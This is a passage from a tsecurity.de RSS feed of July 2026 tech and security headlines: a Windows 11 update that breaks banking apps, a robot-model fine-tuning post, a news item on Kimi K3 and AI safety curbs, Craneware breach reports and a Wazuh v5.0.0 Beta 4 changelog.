<guid isPermaLink="true">https://tsecurity.de/de/3684224/downloads/1928-july-21st-2026/</guid>
<pubDate>Tue, 21 Jul 2026 17:49:28 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>React Server Components</h2>
<ul>
<li>Performance improvements when decoding<br>
(<a href="https://github.com/facebook/react/pull/37087" data-hovercard-type="pull_request" data-hovercard-url="/react/react/pull/37087/hovercard">#37087</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eps1lon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eps1lon">@eps1lon</a>)</li>
</ul>]]></content:encoded>
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<title><![CDATA[Windows 11: OOB-Update KB5121767 stört SFirm und Starmoney]]></title>
<description><![CDATA[Das scheint wohl leicht daneben gegangen zu sein. Microsoft hat die Tage ein Out-of-Band-Update KB5121767 für Windows 11 24H2 und 25H2 zur Korrektur von Performance-Problemen bei Dell-Systemen veröffentlicht. Danach berichten aber Nutzer der Banking-Anwendung SFirm sowie von Starmoney, dass es … ...]]></description>
<link>https://tsecurity.de/de/3684179/it-nachrichten/windows-11-oob-update-kb5121767-stoert-sfirm-und-starmoney/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684179/it-nachrichten/windows-11-oob-update-kb5121767-stoert-sfirm-und-starmoney/</guid>
<pubDate>Tue, 21 Jul 2026 17:33:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Das scheint wohl leicht daneben gegangen zu sein. Microsoft hat die Tage ein Out-of-Band-Update KB5121767 für Windows 11 24H2 und 25H2 zur Korrektur von Performance-Problemen bei Dell-Systemen veröffentlicht. Danach berichten aber Nutzer der Banking-Anwendung SFirm sowie von Starmoney, dass es … <a href="https://borncity.com/blog/2026/07/21/windows-11-oob-update-kb5121767-stoert-sfirm-und-starmoney/">Weiterlesen <span class="meta-nav">→</span></a>
<p><a href="https://borncity.com/blog/2026/07/21/windows-11-oob-update-kb5121767-stoert-sfirm-und-starmoney/" rel="nofollow">Quelle</a></p>]]></content:encoded>
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<title><![CDATA[I Tried Fine-Tuning a Robot AI Model on Colab. Here Is What Worked]]></title>
<description><![CDATA[A reproducible 100-step LoRA fine-tuning run for OpenVLA, with dataset checks, Colab setup, training metrics, and W&B evidence.
The post I Tried Fine-Tuning a Robot AI Model on Colab. Here Is What Worked appeared first on Towards Data Science.]]></description>
<link>https://tsecurity.de/de/3684124/ai-nachrichten/i-tried-fine-tuning-a-robot-ai-model-on-colab-here-is-what-worked/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684124/ai-nachrichten/i-tried-fine-tuning-a-robot-ai-model-on-colab-here-is-what-worked/</guid>
<pubDate>Tue, 21 Jul 2026 17:04:42 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A reproducible 100-step LoRA fine-tuning run for OpenVLA, with dataset checks, Colab setup, training metrics, and W&amp;B evidence.</p>
<p>The post <a href="https://towardsdatascience.com/i-tried-fine-tuning-a-robot-ai-model-on-colab-here-is-what-worked/">I Tried Fine-Tuning a Robot AI Model on Colab. Here Is What Worked</a> appeared first on <a href="https://towardsdatascience.com/">Towards Data Science</a>.</p>]]></content:encoded>
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<title><![CDATA[China’s Kimi K3 fuels fears safety curbs are holding back US AI]]></title>
<description><![CDATA[Chinese unicorn Moonshot AI’s new Kimi K3 model rivals top US systems in spotting cybersecurity flaws, according to early research, stoking fears in Washington that strict safety guard rails are putting American artificial intelligence firms at a competitive disadvantage.
The 2.8 trillion-paramet...]]></description>
<link>https://tsecurity.de/de/3683960/it-security-nachrichten/chinas-kimi-k3-fuels-fears-safety-curbs-are-holding-back-us-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683960/it-security-nachrichten/chinas-kimi-k3-fuels-fears-safety-curbs-are-holding-back-us-ai/</guid>
<pubDate>Tue, 21 Jul 2026 16:10:17 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Chinese unicorn Moonshot AI’s new Kimi K3 model rivals top US systems in spotting cybersecurity flaws, according to early research, stoking fears in Washington that strict safety guard rails are putting American artificial intelligence firms at a competitive disadvantage.
The 2.8 trillion-parameter open-weight model, released last week, offers cybersecurity performance “extremely close” to OpenAI’s flagship GPT-5.6 Sol at a fraction of the cost, Swiss firm Aikido Security said in a report on...]]></content:encoded>
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<title><![CDATA[Tesla's A15 Powered Optimus Robot Made Nvidia & Unitree Powered Humanoids Look Likw Toys!]]></title>
<description><![CDATA[Author: Evolving AI - Bewertung: 0x - Views:0 Tesla may have just solved the biggest problem standing between Optimus and mass adoption, and surprisingly, it has nothing to do with the robot itself. Samsung has officially completed the AI5 chip tapeout on its cutting-edge 2nm process, bringing Te...]]></description>
<link>https://tsecurity.de/de/3683956/videos/teslas-a15-powered-optimus-robot-made-nvidia-unitree-powered-humanoids-look-likw-toys/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683956/videos/teslas-a15-powered-optimus-robot-made-nvidia-unitree-powered-humanoids-look-likw-toys/</guid>
<pubDate>Tue, 21 Jul 2026 16:04:18 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Evolving AI - Bewertung: 0x - Views:0 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/ddlbePJEvJM?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Tesla may have just solved the biggest problem standing between Optimus and mass adoption, and surprisingly, it has nothing to do with the robot itself. Samsung has officially completed the AI5 chip tapeout on its cutting-edge 2nm process, bringing Tesla one step closer to its next-generation AI hardware. But the real breakthrough isn't more performance; it's dramatically lower power consumption. That single improvement could allow Optimus to work significantly longer on a single charge, turning it from an impressive demo into a robot capable of real factory and warehouse jobs.<br />
<br />
In this video, we break down Tesla's AI5 chip, Samsung's 2nm manufacturing, the importance of the 250W power target, why Optimus needs far more AI compute than a self-driving car, Tesla's AI6 and AI7 roadmap, Terafab, Cybercab manufacturing, and how Tesla's vertical integration strategy could reshape the future of humanoid robotics. Is AI5 the breakthrough that finally makes Optimus a real commercial robot? Let's dive in.<br />
<br />
#Tesla #Optimus #AI5 #ElonMusk #Samsung #ArtificialIntelligence #Robotics #Technology<br/></p>]]></content:encoded>
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<title><![CDATA[Craneware Cyberattack Exposes Employee and US Healthcare Customer Data]]></title>
<description><![CDATA[Craneware plc, a UK-based provider of healthcare financial performance software, has disclosed that it experienced a cyberattack in which an unauthorized party accessed and extracted data from a portion of its systems. The company revealed that the incident involved employee…
Read more →
The post...]]></description>
<link>https://tsecurity.de/de/3683874/it-security-nachrichten/craneware-cyberattack-exposes-employee-and-us-healthcare-customer-data/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683874/it-security-nachrichten/craneware-cyberattack-exposes-employee-and-us-healthcare-customer-data/</guid>
<pubDate>Tue, 21 Jul 2026 15:39:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Craneware plc, a UK-based provider of healthcare financial performance software, has disclosed that it experienced a cyberattack in which an unauthorized party accessed and extracted data from a portion of its systems. The company revealed that the incident involved employee…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/craneware-cyberattack-exposes-employee-and-us-healthcare-customer-data/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/craneware-cyberattack-exposes-employee-and-us-healthcare-customer-data/">Craneware Cyberattack Exposes Employee and US Healthcare Customer Data</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Craneware Cyberattack Exposes Employee and US Healthcare Customer Data]]></title>
<description><![CDATA[Craneware plc, a UK-based provider of healthcare financial performance software, has disclosed that it experienced a cyberattack in which an unauthorized party accessed and extracted data from a portion of its systems. The company revealed that the incident involved employee information and recor...]]></description>
<link>https://tsecurity.de/de/3683825/it-security-nachrichten/craneware-cyberattack-exposes-employee-and-us-healthcare-customer-data/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683825/it-security-nachrichten/craneware-cyberattack-exposes-employee-and-us-healthcare-customer-data/</guid>
<pubDate>Tue, 21 Jul 2026 15:25:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Craneware plc, a UK-based provider of healthcare financial performance software, has disclosed that it experienced a cyberattack in which an unauthorized party accessed and extracted data from a portion of its systems. The company revealed that the incident involved employee information and records related to certain customers and partners, including organizations in the US healthcare […]</p>
<p>The post <a href="https://gbhackers.com/craneware-cyberattack-exposes-employee-data/">Craneware Cyberattack Exposes Employee and US Healthcare Customer Data</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
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<title><![CDATA[Craneware Data Breach Exposes Employee and US Healthcare Customer Records]]></title>
<description><![CDATA[Craneware plc (AIM: CRW.L), the Edinburgh-headquartered healthcare financial performance software provider, disclosed on 20 July 2026 that it suffered a cybersecurity incident resulting in unauthorized access to a subset of its data environment. The company, which supplies billing and revenue-cyc...]]></description>
<link>https://tsecurity.de/de/3683734/it-security-nachrichten/craneware-data-breach-exposes-employee-and-us-healthcare-customer-records/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683734/it-security-nachrichten/craneware-data-breach-exposes-employee-and-us-healthcare-customer-records/</guid>
<pubDate>Tue, 21 Jul 2026 14:54:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Craneware plc (AIM: CRW.L), the Edinburgh-headquartered healthcare financial performance software provider, disclosed on 20 July 2026 that it suffered a cybersecurity incident resulting in unauthorized access to a subset of its data environment. The company, which supplies billing and revenue-cycle software to roughly 2,000 US hospitals and nearly 10,000 clinics and retail pharmacies, warned the […]</p>
<p>The post <a href="https://cyberpress.org/craneware-data-breach-exposed/">Craneware Data Breach Exposes Employee and US Healthcare Customer Records</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Wazuh v5.0.0 Beta 4]]></title>
<description><![CDATA[What's Changed

fix: persist engine startup state for CMSync route logging by @jam300 in #37356
Fix invalid MTU value reported for Windows network interfaces by @vikman90 in #37394
Restore modern.bpf.o checkfiles baseline reverted by 4.14.7 merge by @lchico in #37414
Suppress version-coordination...]]></description>
<link>https://tsecurity.de/de/3683727/it-security-tools/wazuh-v500-beta-4/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683727/it-security-tools/wazuh-v500-beta-4/</guid>
<pubDate>Tue, 21 Jul 2026 14:50:03 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>fix: persist engine startup state for CMSync route logging by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jam300/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jam300">@jam300</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4791733554" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37356" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37356/hovercard" href="https://github.com/wazuh/wazuh/pull/37356">#37356</a></li>
<li>Fix invalid MTU value reported for Windows network interfaces by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4803040708" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37394" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37394/hovercard" href="https://github.com/wazuh/wazuh/pull/37394">#37394</a></li>
<li>Restore modern.bpf.o checkfiles baseline reverted by 4.14.7 merge by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lchico/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lchico">@lchico</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4807506800" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37414" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37414/hovercard" href="https://github.com/wazuh/wazuh/pull/37414">#37414</a></li>
<li>Suppress version-coordination WARNINGs on stop/unavailable module by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lchico/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lchico">@lchico</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4794436123" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37372" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37372/hovercard" href="https://github.com/wazuh/wazuh/pull/37372">#37372</a></li>
<li>Clarify security policy for pre-release versions and disclosure timeline by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4818245095" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37423" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37423/hovercard" href="https://github.com/wazuh/wazuh/pull/37423">#37423</a></li>
<li>Bump 5.0.0 branch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wazuhci/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wazuhci">@wazuhci</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4820838366" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37429" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37429/hovercard" href="https://github.com/wazuh/wazuh/pull/37429">#37429</a></li>
<li>wazuh-manager: Memory and copy-reduction improvements part 1 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/matigarciadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/matigarciadev">@matigarciadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4677386441" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36979" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36979/hovercard" href="https://github.com/wazuh/wazuh/pull/36979">#36979</a></li>
<li>Improve default cores detection by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LucioDonda/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LucioDonda">@LucioDonda</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4770907500" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37288" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37288/hovercard" href="https://github.com/wazuh/wazuh/pull/37288">#37288</a></li>
<li>Standardize and verify Wazuh configuration documentation  by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4806420763" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37411" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37411/hovercard" href="https://github.com/wazuh/wazuh/pull/37411">#37411</a></li>
<li>Handle rootcheck removed tags by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rovogel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rovogel">@rovogel</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4788149250" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37346" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37346/hovercard" href="https://github.com/wazuh/wazuh/pull/37346">#37346</a></li>
<li>Update docs (agent) for the new password in manager by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Miguevrgo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Miguevrgo">@Miguevrgo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4816394475" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37420" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37420/hovercard" href="https://github.com/wazuh/wazuh/pull/37420">#37420</a></li>
<li>Backport the workflow for generating pre-release agent issues to version 5.0.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MarcelKemp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MarcelKemp">@MarcelKemp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4827403310" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37490" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37490/hovercard" href="https://github.com/wazuh/wazuh/pull/37490">#37490</a></li>
<li>Upgrade 5.0.0 python dependencies by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jepalfer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jepalfer">@jepalfer</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4793328371" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37361" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37361/hovercard" href="https://github.com/wazuh/wazuh/pull/37361">#37361</a></li>
<li>Change indexer user name and password by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4831885135" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37502" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37502/hovercard" href="https://github.com/wazuh/wazuh/pull/37502">#37502</a></li>
<li>Remove startup deprecation warning from cluster_control and agent_upgrade by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4835362636" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37509" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37509/hovercard" href="https://github.com/wazuh/wazuh/pull/37509">#37509</a></li>
<li>Change indexer username and password to wazuh-manager by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4839278273" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37520" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37520/hovercard" href="https://github.com/wazuh/wazuh/pull/37520">#37520</a></li>
<li>Fix to improve fim_sync db performance. by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hernanvalenzuela/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hernanvalenzuela">@hernanvalenzuela</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4744034552" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37180" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37180/hovercard" href="https://github.com/wazuh/wazuh/pull/37180">#37180</a></li>
<li>SCA/FIM sync lifecycle: close DBs on graceful shutdown, defer coordination during first sync, and increment SCA check version on change by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jr0me/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jr0me">@jr0me</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4790097835" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37353" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37353/hovercard" href="https://github.com/wazuh/wazuh/pull/37353">#37353</a></li>
<li>Fix version comparison in indexer documents updates by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4830108432" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37498" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37498/hovercard" href="https://github.com/wazuh/wazuh/pull/37498">#37498</a></li>
<li>Propagate sync errors to each module by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jpcerrone/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jpcerrone">@jpcerrone</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4752961563" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37212" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37212/hovercard" href="https://github.com/wazuh/wazuh/pull/37212">#37212</a></li>
<li>Cache indexer credentials in clusterd by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4832215168" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37504" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37504/hovercard" href="https://github.com/wazuh/wazuh/pull/37504">#37504</a></li>
<li>Standardize CHANGELOG format and keep prior versions in the bumper by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4835667651" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37513" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37513/hovercard" href="https://github.com/wazuh/wazuh/pull/37513">#37513</a></li>
<li>Warn on duplicate agent connection only when it persists by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4827846696" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37493" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37493/hovercard" href="https://github.com/wazuh/wazuh/pull/37493">#37493</a></li>
<li>Backport: Lower DBSync-not-available shutdown messages to DEBUG to 5.0.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/anromerom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/anromerom">@anromerom</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4856788396" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37567" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37567/hovercard" href="https://github.com/wazuh/wazuh/pull/37567">#37567</a></li>
<li>Add retry logic to indexer templates download by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4874928399" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37643" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37643/hovercard" href="https://github.com/wazuh/wazuh/pull/37643">#37643</a></li>
<li>Reduce authd enrollment log severity for expected rejections by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4846590749" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37540" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37540/hovercard" href="https://github.com/wazuh/wazuh/pull/37540">#37540</a></li>
<li>Reduce memory usage when downloading VDP feed by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Antoniogm03/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Antoniogm03">@Antoniogm03</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4795745800" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37375" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37375/hovercard" href="https://github.com/wazuh/wazuh/pull/37375">#37375</a></li>
<li>Fix server-side version bump for disconnected agent metadata updates by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4877451955" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37647" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37647/hovercard" href="https://github.com/wazuh/wazuh/pull/37647">#37647</a></li>
<li>Re-enable AWS Inspector integration tests in 5.0.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MAnDumu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MAnDumu">@MAnDumu</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4876030241" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37645" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37645/hovercard" href="https://github.com/wazuh/wazuh/pull/37645">#37645</a></li>
<li>Fix sca internal limits by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rovogel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rovogel">@rovogel</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4824570694" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37438" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37438/hovercard" href="https://github.com/wazuh/wazuh/pull/37438">#37438</a></li>
<li>Silence untrustworthy FIM schema-validation errors during shutdown by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicogp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicogp">@Nicogp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4886428969" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37688" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37688/hovercard" href="https://github.com/wazuh/wazuh/pull/37688">#37688</a></li>
<li>Fix spurious ERROR/WARNING logs during agent shutdown by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicogp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicogp">@Nicogp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4883034413" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37673" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37673/hovercard" href="https://github.com/wazuh/wazuh/pull/37673">#37673</a></li>
<li>Fix daemon stats for analysisd by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NahuFigueroa97/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NahuFigueroa97">@NahuFigueroa97</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4840468288" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37525" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37525/hovercard" href="https://github.com/wazuh/wazuh/pull/37525">#37525</a></li>
